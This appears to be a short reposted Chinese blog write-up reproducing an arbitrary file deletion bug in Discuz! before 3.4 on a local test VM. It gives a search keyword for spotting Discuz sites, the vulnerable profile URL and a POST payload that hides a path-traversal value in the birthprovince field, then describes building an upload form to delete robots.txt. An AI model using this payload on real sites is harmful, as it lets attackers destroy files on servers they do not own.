【研究】Discuz＜3.4任意文件删除漏洞

这里以Discuz3.2为例

关键字：
Powered by Discuz! X3.2

时间有限，就不一一截图了，Discuz所有页面全在Discuz_X3.2_SC_UTF8/upload/目录下

利用过程：

访问http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/robots.txt试试，这是我虚机中discuz中robots的路径，具体视个人情况而定

1、注册个帐号

2、提交数据

url地址栏：http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base
POST数据：birthprovince=../../../robots.txt&profilesubmit=1&formhash=2bc7eb9a，这个formhash的值可以从源代码中找到，每次都不一样的

3、提交数据之后，打开设置界面，可以看到出生地变成../../../robots.txt

4、构造上传表单

//此formhash值和第三布formhash值一样

上传成功后，返回空白页面，然后访问http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/robots.txt，发现robots.txt已被删除

转载于:https://www.cnblogs.com/peterpan0707007/p/7710776.html